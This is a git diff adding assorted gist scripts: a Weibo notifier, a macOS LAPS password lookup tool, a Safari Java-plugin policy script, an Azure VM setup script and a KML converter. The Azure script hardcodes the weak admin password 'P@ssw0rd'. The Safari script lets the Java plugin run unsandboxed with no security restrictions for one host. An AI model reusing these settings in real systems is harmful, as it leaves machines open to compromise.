+ + if diff: + weibo.user = newest + send_noti(u'{} 的微博资料更新'.format(weibo.user.name), + u'{} 的微博资料有如下更新:\n{}'.format(weibo.user.name, u'\n'.join(diff))) + + tweet = get_tweet(statuses[0]) + has_new = weibo.last != tweet.id + + if has_new: + weibo.last = tweet.id + weibo.tweets.append(tweet) + send_noti(u'{} 发新微博啦~'.format(weibo.user.name), + u'{} 通过【{}】发送了一条微博,内容是:\n{}'.format( + weibo.user.name, + BeautifulSoup(tweet.source).getText(), + tweet.text + )) + + if has_new or diff: + save_weibo(uid, weibo) + + +if __name__ == '__main__': + main(int(sys.argv[1])) diff --git a/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/._snippet.py b/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/._snippet.py differ diff --git a/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/snippet.py b/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/snippet.py new file mode 100644 index 00000000..7245cea0 --- /dev/null +++ b/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/snippet.py @@ -0,0 +1,107 @@ +#!/usr/bin/python +'''Get LAPS password for AD Computers''' +# ################################################################# +# This script will allow an admin user with +# the proper domain crednetials to get a LAPS +# password form Active Directory. +# ################################################################## +# Original script by barteardon +# https://github.com/bartreardon/macscripts/blob/master/lapssearch +# Updated script using pyObjC: +# Joshua D. Miller - josh@psu.edu +# The Pennsylvania State University - September 18, 2017 +# ################################################################# +from getpass import getpass +from os import system +from OpenDirectory import (ODSession, ODNode, + kODRecordTypeComputers) +from SystemConfiguration import (SCDynamicStoreCreate, + SCDynamicStoreCopyValue) + + +class color: + # From Stack Overflow + # https://stackoverflow.com/questions/ + # 8924173/how-do-i-print-bold-text-in-python + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + END = '\033[0m' + + +def macOSLAPS_Utility(choice, ad_user_name, ad_password, computer_name): + '''Function to connect and pull information from Active Directory + some code borrowed from AD PassMon - Thanks @macmuleblog''' + # Active Directory Connection and Extraction of Data + try: + # Create Net Config + net_config = SCDynamicStoreCreate(None, "net", None, None) + # Get Active Directory Info + ad_info = dict( + SCDynamicStoreCopyValue( + net_config, 'com.apple.opendirectoryd.ActiveDirectory')) + # Create Active Directory Path + adpath = '{0:}/{1:}'.format(ad_info['NodeName'], + ad_info['DomainNameDns']) + # Use Open Directory To Connect to Active Directory + node, error = ODNode.nodeWithSession_name_error_( + ODSession.defaultSession(), adpath, None) + node.setCredentialsWithRecordType_recordName_password_error_( + None, ad_user_name, ad_password, None) + # Grab the Computer Record + computer_record, error = node.\ + recordWithRecordType_name_attributes_error_( + kODRecordTypeComputers, + "{0:}$".format(computer_name), None, None) + # Convert to Readable Values + values, error = computer_record.\ + recordDetailsForAttributes_error_(None, None) + # Get LAPS Password for machine + if choice == "1": + print "Password: {0:}{1:}{2:}".format( + color.BOLD, + values['dsAttrTypeNative:ms-Mcs-AdmPwd'][0], + color.END) + raw_input("\n\nPress any key to continue....") + elif choice == "2": + computer_record.setValue_forAttribute_error_( + '126227988000000000', + 'dsAttrTypeNative:ms-Mcs-AdmPwdExpirationTime', + None) + raw_input("\n\nForce Expire time Set. Keep in mind that" + " macOSLAPS will need to run on the system before" + " the password is changed." + " Press any key to continue...") + except StandardError as error: + print error + + +def main(): + '''Main function of macOSLAPS Password retrieval utility''' + print "Welcome to the macOSLAPS Utility" + ad_user_name = raw_input("Please enter your username:") + ad_password = getpass("Please enter your password:") + choice = "0" + while choice != "3": + system('clear') + print "macOSLAPS Utility" + print "-----------------" + print "1. Get LAPS Password" + print "2. Reset LAPS Password" + print "3. Exit" + choice = raw_input("\n >> ") + if choice != "1" and choice != "2" and choice != "3": + raw_input("\n\nPlease enter a valid choice" + " (Example \"1\", \"2\", \"3\")") + continue + if choice == "3": + print "Thank you for using macOSLAPS Utility!" + continue + computer_name = raw_input("Computer Name: ") + macOSLAPS_Utility(choice, ad_user_name, ad_password, computer_name) + continue + + exit(0) + + +if __name__ == "__main__": + main() diff --git a/hard-gists/01c99322cf985e771827/._snippet.py b/hard-gists/01c99322cf985e771827/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/01c99322cf985e771827/._snippet.py differ diff --git a/hard-gists/01c99322cf985e771827/snippet.py b/hard-gists/01c99322cf985e771827/snippet.py new file mode 100644 index 00000000..13643628 --- /dev/null +++ b/hard-gists/01c99322cf985e771827/snippet.py @@ -0,0 +1,47 @@ +import plistlib +import CoreFoundation +from Foundation import NSDate, NSMutableArray, NSMutableDictionary + +# read the current ManagedPlugInPolicies +policy = CoreFoundation.CFPreferencesCopyAppValue("ManagedPlugInPolicies", "com.apple.Safari") + +if policy: + # policy is an immutable dict, so we have to make a mutable copy + my_policy = NSMutableDictionary.alloc().initWithDictionary_copyItems_(policy, True) +else: + # create an empty dict + my_policy = {} + +if 'com.oracle.java.JavaAppletPlugin' in my_policy: + # make a mutable copy of the dict + current_dict = my_policy['com.oracle.java.JavaAppletPlugin'] + my_policy['com.oracle.java.JavaAppletPlugin'] = NSMutableDictionary.alloc().initWithDictionary_copyItems_(current_dict, True) +else: + # create an empty dict + my_policy['com.oracle.java.JavaAppletPlugin'] = {} + +if 'PlugInHostnamePolicies' in my_policy['com.oracle.java.JavaAppletPlugin']: + # make a mutable copy of the array + current_array = my_policy['com.oracle.java.JavaAppletPlugin']['PlugInHostnamePolicies'] + my_policy['com.oracle.java.JavaAppletPlugin']['PlugInHostnamePolicies'] = NSMutableArray.alloc().initWithArray_(current_array) +else: + # create an empty array + my_policy['com.oracle.java.JavaAppletPlugin']['PlugInHostnamePolicies'] = [] + +found_foocorp_vpn = False +# iterate through dicts in com.oracle.java.JavaAppletPlugin:PlugInHostnamePolicies +for dict_item in my_policy['com.oracle.java.JavaAppletPlugin']['PlugInHostnamePolicies']: + if dict_item.get('PlugInHostname') == 'vpn.foocorp.com': + found_foocorp_vpn = True + +if not found_foocorp_vpn: + foocorp_vpn = { 'PlugInPageURL': 'https://vpn.foocorp.com/index.cgi', + 'PlugInHostname': 'vpn.foocorp.com', + 'PlugInRunUnsandboxed': True, + 'PlugInPolicy': 'PlugInPolicyAllowNoSecurityRestrictions', + 'PlugInLastVisitedDate': NSDate.date() } + # add our new policy to the array + my_policy['com.oracle.java.JavaAppletPlugin']['PlugInHostnamePolicies'].append(foocorp_vpn) + +# save the changed preference +CoreFoundation.CFPreferencesSetAppValue("ManagedPlugInPolicies", my_policy, "com.apple.Safari") diff --git a/hard-gists/026a4d6400b1efac9a13a3296f16e655/._snippet.py b/hard-gists/026a4d6400b1efac9a13a3296f16e655/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/026a4d6400b1efac9a13a3296f16e655/._snippet.py differ diff --git a/hard-gists/026a4d6400b1efac9a13a3296f16e655/snippet.py b/hard-gists/026a4d6400b1efac9a13a3296f16e655/snippet.py new file mode 100644 index 00000000..9ba06e08 --- /dev/null +++ b/hard-gists/026a4d6400b1efac9a13a3296f16e655/snippet.py @@ -0,0 +1,42 @@ +# required tensorflow 0.12 +# required gensim 0.13.3+ for new api model.wv.index2word or just use model.index2word + +from gensim.models import Word2Vec +import tensorflow as tf +from tensorflow.contrib.tensorboard.plugins import projector + +# loading your gensim +model = Word2Vec.load("YOUR-MODEL") + +# project part of vocab, 10K of 300 dimension +w2v_10K = np.zeros((10000,300)) +with open("./projector/prefix_metadata.tsv", 'w+') as file_metadata: + for i,word in enumerate(model.wv.index2word[:10000]): + w2v_10K[i] = model[word] + file_metadata.write(word.encode('utf-8') + '\n') + + +# define the model without training +sess = tf.InteractiveSession() + +with tf.device("/cpu:0"): + embedding = tf.Variable(w2v_10K, trainable=False, name='prefix_embedding') + +tf.global_variables_initializer().run() + +saver = tf.train.Saver() +writer = tf.summary.FileWriter('./projector', sess.graph) + +# adding into projector +config = projector.ProjectorConfig() +embed= config.embeddings.add() +embed.tensor_name = 'fs_embedding:0' +embed.metadata_path = './projector/prefix_metadata.tsv' + +# Specify the width and height of a single thumbnail. +projector.visualize_embeddings(writer, config) + +saver.save(sess, './projector/prefix_model.ckpt', global_step=10000) + +# open tensorboard with logdir, check localhost:6006 for viewing your embedding. +# tensorboard --logdir="./projector/" diff --git a/hard-gists/02ff378b3a91de94306a84d3aa2228bb/._snippet.py b/hard-gists/02ff378b3a91de94306a84d3aa2228bb/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/02ff378b3a91de94306a84d3aa2228bb/._snippet.py differ diff --git a/hard-gists/02ff378b3a91de94306a84d3aa2228bb/snippet.py b/hard-gists/02ff378b3a91de94306a84d3aa2228bb/snippet.py new file mode 100644 index 00000000..4772d7cf --- /dev/null +++ b/hard-gists/02ff378b3a91de94306a84d3aa2228bb/snippet.py @@ -0,0 +1,217 @@ +import azure.mgmt.compute +import azure.mgmt.compute.models +import azure.mgmt.network +import azure.mgmt.network.models +import azure.mgmt.resource +import azure.mgmt.resource.resources.models +import azure.mgmt.storage +import azure.mgmt.storage.models +from azure.common.credentials import ServicePrincipalCredentials +from azure.mgmt.resource.resources import ResourceManagementClient, ResourceManagementClientConfiguration + +BASE_NAME = 'armpytest1404' + +GROUP_NAME = BASE_NAME +STORAGE_NAME = BASE_NAME +VIRTUAL_NETWORK_NAME = BASE_NAME +SUBNET_NAME = BASE_NAME +NETWORK_INTERFACE_NAME = BASE_NAME +VM_NAME = BASE_NAME +OS_DISK_NAME = BASE_NAME +PUBLIC_IP_NAME = BASE_NAME +COMPUTER_NAME = BASE_NAME +ADMIN_USERNAME='azureuser' +ADMIN_PASSWORD='P@ssw0rd' +REGION = 'northeurope' +IMAGE_PUBLISHER = 'Canonical' +IMAGE_OFFER = 'UbuntuServer' +IMAGE_SKU = '14.04.4-LTS' +IMAGE_VERSION = 'latest' + +subscription_id = '252281c3-8a06-4af8-8f3f-d6af13e4fde3' + +credentials = ServicePrincipalCredentials( + client_id = 'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', + secret = 'abcdefg', + tenant = 'yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy' +) + +compute_client = azure.mgmt.compute.ComputeManagementClient( + azure.mgmt.compute.ComputeManagementClientConfiguration( + credentials, + subscription_id + ) +) + +network_client = azure.mgmt.network.NetworkManagementClient( + azure.mgmt.network.NetworkManagementClientConfiguration( + credentials, + subscription_id + ) +) + +storage_client = azure.mgmt.storage.StorageManagementClient( + azure.mgmt.storage.StorageManagementClientConfiguration( + credentials, + subscription_id + ) +) + +resource_client = ResourceManagementClient( + ResourceManagementClientConfiguration( + credentials, + subscription_id + ) +) + + +def create_network_interface(network_client, region, group_name, interface_name, + network_name, subnet_name, ip_name): + + result_vnet = network_client.virtual_networks.create_or_update( + group_name, + network_name, + azure.mgmt.network.models.VirtualNetwork( + location=region, + address_space=azure.mgmt.network.models.AddressSpace( + address_prefixes=[ + '10.1.0.0/16', + ], + ), + subnets=[ + azure.mgmt.network.models.Subnet( + name=subnet_name, + address_prefix='10.1.0.0/24', + ), + ], + ), + ) + + result_vnet.wait() + + subnet = network_client.subnets.get(group_name, network_name, subnet_name) + + result_pubip = network_client.public_ip_addresses.create_or_update( + group_name, + ip_name, + azure.mgmt.network.models.PublicIPAddress( + location=region, + public_ip_allocation_method=azure.mgmt.network.models.IPAllocationMethod.dynamic, + idle_timeout_in_minutes=4, + ), + ) + + result_pubip.wait() + + public_ip_address = network_client.public_ip_addresses.get(group_name, ip_name) + public_ip_id = public_ip_address.id + + result_nic = network_client.network_interfaces.create_or_update( + group_name, + interface_name, + azure.mgmt.network.models.NetworkInterface( + name=interface_name, + location=region, + ip_configurations=[ + azure.mgmt.network.models.NetworkInterfaceIPConfiguration( + name='default', + private_ip_allocation_method=azure.mgmt.network.models.IPAllocationMethod.dynamic, + subnet=subnet, + public_ip_address=public_ip_address, + ), + ], + ), + ) + + result_nic.wait() + + network_interface = network_client.network_interfaces.get( + group_name, + interface_name, + ) + + return network_interface.id + +# 1. Create a resource group +result_rg = resource_client.resource_groups.create_or_update( + GROUP_NAME, + azure.mgmt.resource.resources.models.ResourceGroup( + location=REGION, + ), +) + +# result_list_sizes = compute_client.virtual_machine_sizes.list(REGION) +# +# for i in result_list_sizes: +# print(i) + +# 2. Create a storage account +result_stor = storage_client.storage_accounts.create( + GROUP_NAME, + STORAGE_NAME, + azure.mgmt.storage.models.StorageAccountCreateParameters( + location=REGION, + account_type=azure.mgmt.storage.models.AccountType.standard_lrs, + ), +) +result_stor.wait() # async operation + +# 3. Create the network interface using a helper function (defined below) +nic_id = create_network_interface( + network_client, + REGION, + GROUP_NAME, + NETWORK_INTERFACE_NAME, + VIRTUAL_NETWORK_NAME, + SUBNET_NAME, + PUBLIC_IP_NAME, +) + +# 4. Create the virtual machine +result = compute_client.virtual_machines.create_or_update( + GROUP_NAME, + VM_NAME, + azure.mgmt.compute.models.VirtualMachine( + location=REGION, + name=VM_NAME, + os_profile=azure.mgmt.compute.models.OSProfile( + admin_username=ADMIN_USERNAME, + admin_password=ADMIN_PASSWORD, + computer_name=COMPUTER_NAME, + ), + hardware_profile=azure.mgmt.compute.models.HardwareProfile( + vm_size=azure.mgmt.compute.models.VirtualMachineSizeTypes.standard_d1 + ), + network_profile=azure.mgmt.compute.models.NetworkProfile( + network_interfaces=[ + azure.mgmt.compute.models.NetworkInterfaceReference( + id=nic_id, + ), + ], + ), + storage_profile=azure.mgmt.compute.models.StorageProfile( + os_disk=azure.mgmt.compute.models.OSDisk( + caching=azure.mgmt.compute.models.CachingTypes.none, + create_option=azure.mgmt.compute.models.DiskCreateOptionTypes.from_image, + name=OS_DISK_NAME, + vhd=azure.mgmt.compute.models.VirtualHardDisk( + uri='https://{0}.blob.core.windows.net/vhds/{1}.vhd'.format( + STORAGE_NAME, + OS_DISK_NAME, + ), + ), + ), + image_reference=azure.mgmt.compute.models.ImageReference( + publisher=IMAGE_PUBLISHER, + offer=IMAGE_OFFER, + sku=IMAGE_SKU, + version=IMAGE_VERSION, + ), + ), + ), +) + +result.wait() + +public_ip_address = network_client.public_ip_addresses.get(GROUP_NAME, PUBLIC_IP_NAME) +print('VM available at {}'.format(public_ip_address.ip_address)) diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/._snippet.py b/hard-gists/0306734dfe17076dfd34e09660c198c0/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0306734dfe17076dfd34e09660c198c0/._snippet.py differ diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/Dockerfile-llm-3.8 b/hard-gists/0306734dfe17076dfd34e09660c198c0/Dockerfile-llm-3.8 new file mode 100644 index 00000000..72499312 --- /dev/null +++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/Dockerfile-llm-3.8 @@ -0,0 +1,16 @@ +# FROM is the found expected Python version +FROM python:3.8 +# Set the working directory to /app +WORKDIR /app +# Add install commands for all of the python modules +RUN ["pip","install","--upgrade","pip"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","reos==0.1.0"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","shapely==2.0.7"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","fiona==1.9.4.post1"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","geopandas==1.1.3"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","geojson==3.2.0"] +RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","shapefile==2.0.1"] +# Copy the specified directory to /app +COPY snippet.py /app +# Run the specified python file +CMD ["python", "/app/snippet.py"] \ No newline at end of file diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/fiona_3.8.txt b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/fiona_3.8.txt new file mode 100644 index 00000000..ccd6beb7 --- /dev/null +++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/fiona_3.8.txt @@ -0,0 +1 @@ +0.5, 0.6, 0.6.1, 0.6.2, 0.7, 0.8, 0.9, 0.9.1, 0.10, 0.12, 0.12.1, 0.13, 0.14, 0.15, 0.16, 0.16.1, 1.0, 1.0.1, 1.0.2, 1.0.3, 1.1, 1.8.9, 1.8.9.post1, 1.8.9.post2, 1.8.10, 1.8.11, 1.8.12, 1.8.13, 1.8.13.post1, 1.8.14, 1.8.15, 1.8.16, 1.8.17, 1.8.18, 1.8.19, 1.8.20, 1.8.21, 1.8.22, 1.9.0, 1.9.1, 1.9.2, 1.9.3, 1.9.4, 1.9.4.post1, 1.9.5, 1.9.6, 1.9a1, 1.9a2, 1.9a3, 1.9b1, 1.9b2, 1.10.0, 1.10.0rc1, 1.10.1, 1.10a2, 1.10b1, 1.10b2, 1.10b3 \ No newline at end of file diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/geojson_3.8.txt b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/geojson_3.8.txt new file mode 100644 index 00000000..af89b672 --- /dev/null +++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/geojson_3.8.txt @@ -0,0 +1 @@ +1.0, 1.0.1, 1.0.4, 1.0.5, 1.0.6, 1.0.7, 1.0.8, 1.0.9, 1.0a3, 1.0b1, 1.0rc1, 1.1.0, 1.2.0, 1.2.1, 1.2.2, 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.3.4, 1.3.5, 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.4.0, 2.4.1, 2.5.0, 3.0.0, 3.0.1, 3.1.0, 3.2.0 \ No newline at end of file diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/geopandas_3.8.txt b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/geopandas_3.8.txt new file mode 100644 index 00000000..f416b115 --- /dev/null +++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/geopandas_3.8.txt @@ -0,0 +1 @@ +0.1.0, 0.1.0.dev-1edddad, 0.1.0.dev-2be7de8, 0.1.0.dev-2d642e0, 0.1.0.dev-3ebcae0, 0.1.0.dev-6c816f0, 0.1.0.dev-40ec104, 0.1.0.dev-53f669a, 0.1.0.dev-120d5ee, 0.1.0.dev-189a35c, 0.1.0.dev-7788a17, 0.1.0.dev-8144a45, 0.1.0.dev-120828c, 0.1.0.dev-a7b594e, 0.1.0.dev-a91e8ab, 0.1.0.dev-abb4137, 0.1.0.dev-c770a5c, 0.1.0.dev-fea5c40, 0.1.1, 0.2.1, 0.3.0, 0.4.0, 0.4.1, 0.5.0, 0.5.1, 0.6.0, 0.6.0rc1, 0.6.1, 0.6.2, 0.6.3, 0.7.0, 0.8.0, 0.8.1, 0.8.2, 0.9.0, 0.10.0, 0.10.1, 0.10.2, 0.11.0, 0.11.1, 0.12.0, 0.12.1, 0.12.2, 0.13.0, 0.13.1, 0.13.2, 0.14.0, 0.14.1, 0.14.2, 0.14.3, 0.14.4, 1.0.0, 1.0.0a1, 1.0.0rc1, 1.0.1, 1.1.0, 1.1.1, 1.1.2, 1.1.3 \ No newline at end of file diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/reos_3.8.txt b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/reos_3.8.txt new file mode 100644 index 00000000..6c6aa7cb --- /dev/null +++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/reos_3.8.txt @@ -0,0 +1 @@ +0.1.0 \ No newline at end of file diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/shapefile_3.8.txt b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/shapefile_3.8.txt new file mode 100644 index 00000000..e69de29b diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/shapely_3.8.txt b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/shapely_3.8.txt new file mode 100644 index 00000000..ee3b7b7d --- /dev/null +++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/modules/shapely_3.8.txt @@ -0,0 +1 @@ +1.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, 1.0.11, 1.0.12, 1.0.13, 1.0.14, 1.0.15, 1.0a7, 1.0b1, 1.0b2, 1.0b3, 1.0b4, 1.0rc1, 1.0rc2, 1.2, 1.7.0, 1.7.1, 1.7a2, 1.7a3, 1.7b1, 1.8.0, 1.8.1, 1.8.1.post1, 1.8.2, 1.8.3, 1.8.4, 1.8.5, 1.8.5.post1, 1.8a1, 1.8a2, 1.8a3, 1.8rc1, 1.8rc2, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, 2.0.6, 2.0.7, 2.0a1, 2.0b1, 2.0b2, 2.0rc1, 2.0rc2, 2.0rc3 \ No newline at end of file diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/snippet.py b/hard-gists/0306734dfe17076dfd34e09660c198c0/snippet.py new file mode 100644 index 00000000..8316d263 --- /dev/null +++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/snippet.py @@ -0,0 +1,342 @@ +# Author: +# Linwood Creekmore III +# email: valinvescap@gmail.com + +# Acknowledgements: +# http://programmingadvent.blogspot.com/2013/06/kmzkml-file-parsing-with-python.html +# http://gis.stackexchange.com/questions/159681/geopandas-cant-save-geojson +# https://gist.github.com/mciantyre/32ff2c2d5cd9515c1ee7 + + + +''' +Sample files to test (everything doesn't work, but most do) +-------------------- +Google List of KMZs: https://sites.google.com/a/mcpsweb.org/google-earth-kmz/kmz-files +NOAA KMZ: https://data.noaa.gov/dataset/climate-reconstructions/resource/13f35d9b-a738-4c3b-8ba3-a22e3192e7b6 +Washington DC GIS Data/Quadrants: http://opendata.dc.gov/datasets/02923e4697804406b9ee3268a160db99_11.kml + + +Examples +---------- + +# output to geopandas +a = keyholemarkup2x('LGGWorldCapitals.kmz',output='gpd') + +# plot this new file, use %matplotlib inline if you are in a notebook +#%matplotlib inline +a.plot() + +# convert to shapefile +a = keyholemarkup2x('DC_Quadrants.kml',output='shp') + + + +''' + + +import pandas as pd +from io import BytesIO,StringIO +from zipfile import ZipFile +import re,os +import numpy as np +import xml.sax, xml.sax.handler +from html.parser import HTMLParser +import pandas as pd + + +from html.parser import HTMLParser + +class MyHTMLParser(HTMLParser): + + def __init__(self): + # initialize the base class + HTMLParser.__init__(self) + self.inTable=False + self.mapping = {} + self.buffer = "" + self.name_tag = "" + self.series = pd.Series() + + def handle_starttag(self, tag, attrs): + if tag == 'table': + self.inTable = True + + def handle_data(self, data): + if self.inTable: + self.buffer = data.strip(' \n\t').split(':') + if len(self.buffer)==2: + self.mapping[self.buffer[0]]=self.buffer[1] + self.series = pd.Series(self.mapping) + +class PlacemarkHandler(xml.sax.handler.ContentHandler): + def __init__(self): + self.inName = False # handle XML parser events + self.inPlacemark = False + self.mapping = {} + self.buffer = "" + self.name_tag = "" + + def startElement(self, name, attributes): + if name == "Placemark": # on start Placemark tag + self.inPlacemark = True + self.buffer = "" + if self.inPlacemark: + if name == "name": # on start title tag + self.inName = True # save name text to follow + + def characters(self, data): + if self.inPlacemark: # on text within tag + self.buffer += data # save text if in title + + def endElement(self, name): + self.buffer = self.buffer.strip('\n\t') + + if name == "Placemark": + self.inPlacemark = False + self.name_tag = "" #clear current name + + elif name == "name" and self.inPlacemark: + self.inName = False # on end title tag + self.name_tag = self.buffer.strip() + self.mapping[self.name_tag] = {} + elif self.inPlacemark: + if name in self.mapping[self.name_tag]: + self.mapping[self.name_tag][name] += self.buffer + else: + self.mapping[self.name_tag][name] = self.buffer + self.buffer = "" + + + def spatializer(row): + """ + Function to convert string objects to Python spatial objects + + """ + + ############################# + # coordinates field + ############################# + try: + # look for the coordinates column + data = row['coordinates'].strip(' \t\n\r') + except: + pass + try: + import shapely + from shapely.geometry import Polygon,LineString,Point + except ImportError as e: + raise ImportError('This operation requires shapely. {0}'.format(e)) + import ast + lsp = data.strip().split(' ') + linestring = map(lambda x: ast.literal_eval(x),lsp) + try: + spatial = Polygon(LineString(linestring)) + convertedpoly = pd.Series({'geometry':spatial}) + return convertedpoly + except: + try: + g = ast.literal_eval(data) + points = pd.Series({'geometry':Point(g[:2]), + 'altitude':g[-1]}) + return points + except: + + pass + + + + try: + # Test for latitude and longitude columns + lat=float(row['latitude']) + lon=float(row['longitude']) + point = Point(lon,lat) + convertedpoly = pd.Series({'geometry':point}) + return convertedpoly + except: + + pass + + def htmlizer(row): + htmlparser = MyHTMLParser() + htmlparser.feed(row['description']) + return htmlparser.series + + +def keyholemarkup2x(file,output='df'): + """ + Takes Keyhole Markup Language Zipped (KMZ) or KML file as input. The + output is a pandas dataframe, geopandas geodataframe, csv, geojson, or + shapefile. + + All core functionality from: + http://programmingadvent.blogspot.com/2013/06/kmzkml-file-parsing-with-python.html + + Parameters + ---------- + file : {string} + The string path to your KMZ or . + output : {string} + Defines the type of output. Valid selections include: + - shapefile - 'shp', 'shapefile', or 'ESRI Shapefile' + + Returns + ------- + self : object + """ + r = re.compile(r'(?<=\.)km+[lz]?',re.I) + try: + extension = r.search(file).group(0) #(re.findall(r'(?<=\.)[\w]+',file))[-1] + + + except IOError as e: + logging.error("I/O error {0}".format(e)) + if (extension.lower()=='kml') is True: + buffer = file + elif (extension.lower()=='kmz') is True: + kmz = ZipFile(file, 'r') + + vmatch = np.vectorize(lambda x:bool(r.search(x))) + A = np.array(kmz.namelist()) + sel = vmatch(A) + buffer = kmz.open(A[sel][0],'r') + + else: + raise ValueError('Incorrect file format entered. Please provide the ' + 'path to a valid KML or KMZ file.') + + + parser = xml.sax.make_parser() + handler = PlacemarkHandler() + parser.setContentHandler(handler) + parser.parse(buffer) + + try: + kmz.close() + except: + pass + + df = pd.DataFrame(handler.mapping).T + names = list(map(lambda x: x.lower(),df.columns)) + if 'description' in names: + extradata = df.apply(PlacemarkHandler.htmlizer,axis=1) + df = df.join(extradata) + + + output = output.lower() + + if output=='df' or output=='dataframe' or output == None: + result = df + + elif output=='csv': + out_filename = file[:-3] + "csv" + df.to_csv(out_filename,encoding='utf-8',sep="\t") + result = ("Successfully converted {0} to CSV and output to" + " disk at {1}".format(file,out_filename)) + + elif output=='gpd' or output == 'gdf' or output=='geoframe' or output == 'geodataframe': + try: + import shapely + from shapely.geometry import Polygon,LineString,Point + except ImportError as e: + raise ImportError('This operation requires shapely. {0}'.format(e)) + try: + import fiona + except ImportError as e: + raise ImportError('This operation requires fiona. {0}'.format(e)) + try: + import geopandas as gpd + except ImportError as e: + raise ImportError('This operation requires geopandas. {0}'.format(e)) + + geos = gpd.GeoDataFrame(df.apply(PlacemarkHandler.spatializer,axis=1)) + result = gpd.GeoDataFrame(pd.concat([df,geos],axis=1)) + + + elif output=='geojson' or output=='json': + try: + import shapely + from shapely.geometry import Polygon,LineString,Point + except ImportError as e: + raise ImportError('This operation requires shapely. {0}'.format(e)) + try: + import fiona + except ImportError as e: + raise ImportError('This operation requires fiona. {0}'.format(e)) + try: + import geopandas as gpd + except ImportError as e: + raise ImportError('This operation requires geopandas. {0}'.format(e)) + try: + import geojson + except ImportError as e: + raise ImportError('This operation requires geojson. {0}'.format(e)) + + geos = gpd.GeoDataFrame(df.apply(PlacemarkHandler.spatializer,axis=1)) + gdf = gpd.GeoDataFrame(pd.concat([df,geos],axis=1)) + out_filename = file[:-3] + "geojson" + gdf.to_file(out_filename,driver='GeoJSON') + validation = geojson.is_valid(geojson.load(open(out_filename)))['valid'] + if validation == 'yes': + + result = ("Successfully converted {0} to GeoJSON and output to" + " disk at {1}".format(file,out_filename)) + else: + raise ValueError('The geojson conversion did not create a ' + 'valid geojson object. Try to clean your ' + 'data or try another file.') + + elif output=='shapefile' or output=='shp' or output =='esri shapefile': + try: + import shapely + from shapely.geometry import Polygon,LineString,Point + except ImportError as e: + raise ImportError('This operation requires shapely. {0}'.format(e)) + try: + import fiona + except ImportError as e: + raise ImportError('This operation requires fiona. {0}'.format(e)) + + try: + import geopandas as gpd + except ImportError as e: + raise ImportError('This operation requires geopandas. {0}'.format(e)) + + try: + import shapefile + except ImportError as e: + raise ImportError('This operation requires pyshp. {0}'.format(e)) + + + geos = gpd.GeoDataFrame(df.apply(PlacemarkHandler.spatializer,axis=1)) + gdf = gpd.GeoDataFrame(pd.concat([df,geos],axis=1)) + out_filename = file[:-3] + "shp" + gdf.to_file(out_filename,driver='ESRI Shapefile') + sf = shapefile.Reader(out_filename) + import shapefile + sf = shapefile.Reader(out_filename) + if len(sf.shapes())>0: + validation = "yes" + else: + validation = "no" + if validation == 'yes': + + result = ("Successfully converted {0} to Shapefile and output to" + " disk at {1}".format(file,out_filename)) + else: + raise ValueError('The Shapefile conversion did not create a ' + 'valid shapefile object. Try to clean your ' + 'data or try another file.') + else: + raise ValueError('The conversion returned no data; check if' + ' you entered a correct output file type. ' + 'Valid output types are geojson, shapefile,' + ' csv, geodataframe, and/or pandas dataframe.') + + return result + + + + + + \ No newline at end of file diff --git a/hard-gists/034e799c19eb763fa859/._snippet.py b/hard-gists/034e799c19eb763fa859/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/034e799c19eb763fa859/._snippet.py differ diff --git a/hard-gists/034e799c19eb763fa859/snippet.py b/hard-gists/034e799c19eb763fa859/snippet.py new file mode 100644 index 00000000..830c6093 --- /dev/null +++ b/hard-gists/034e799c19eb763fa859/snippet.py @@ -0,0 +1,18 @@ +# From http://vanderwijk.info/blog/adding-css-classes-formfields-in-django-templates/#comment-1193609278 + +from django import template +register = template.Library() + +@register.filter(name='add_attributes') +def 